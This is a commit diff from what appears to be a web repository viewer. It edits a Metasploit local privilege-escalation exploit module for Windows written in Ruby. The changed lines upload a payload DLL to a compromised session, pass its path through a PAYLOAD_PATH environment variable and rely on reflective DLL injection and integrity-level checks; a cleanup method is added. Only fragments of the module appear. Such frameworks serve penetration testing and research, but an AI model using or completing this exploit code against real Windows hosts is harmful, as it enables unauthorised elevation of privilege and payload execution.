This works
parent
7ed6b3117a
commit
53e6f42d99
|
@ -9,6 +9,7 @@ require 'msf/core/post/windows/reflective_dll_injection'
|
|||
class Metasploit3 < Msf::Exploit::Local
|
||||
Rank = NormalRanking
|
||||
|
||||
include Exploit::EXE
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::Windows::ReflectiveDLLInjection
|
||||
|
@ -72,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
write_file(payload_filepath, payload)
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
fail_with(
|
||||
Exploit::Exception::Unknown,
|
||||
Failure::Unknown,
|
||||
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
|
||||
)
|
||||
end
|
||||
|
@ -80,9 +81,6 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def set_filepath_env(payload_filepath)
|
||||
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", payload_filepath)
|
||||
if get_env("PAYLOAD_PATH") != payload_filepath
|
||||
fail_with(Exploit::Exception::Unknown, "Failed to set environment variable PAYLOAD_PATH")
|
||||
end
|
||||
end
|
||||
|
||||
def upload_payload
|
||||
|
@ -94,14 +92,15 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
# Upload the payload
|
||||
upload_payload_dll(payload_filepath)
|
||||
if !file?(payload_filepath)
|
||||
fail_with(Exploit::Exception::Unknown, "Failed to save the payload DLL due to an unknown reason")
|
||||
fail_with(Failure::Unknown, "Failed to save the payload DLL due to an unknown reason")
|
||||
end
|
||||
end
|
||||
|
||||
def get_integrity_info
|
||||
integrity = get_integrity_level
|
||||
case integrity
|
||||
when :low
|
||||
|
||||
case integrity
|
||||
when :low
|
||||
level = 0
|
||||
when :medium
|
||||
level = 1
|
||||
|
@ -109,6 +108,8 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
level = 2
|
||||
when :system
|
||||
level = 3
|
||||
else
|
||||
level = -1
|
||||
end
|
||||
|
||||
{
|
||||
|
@ -147,4 +148,9 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
upload_exploit
|
||||
end
|
||||
|
||||
def cleanup
|
||||
session.railgun.kernel32.SetEnvironmentVariableA("PAYLOAD_PATH", nil)
|
||||
super
|
||||
end
|
||||
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue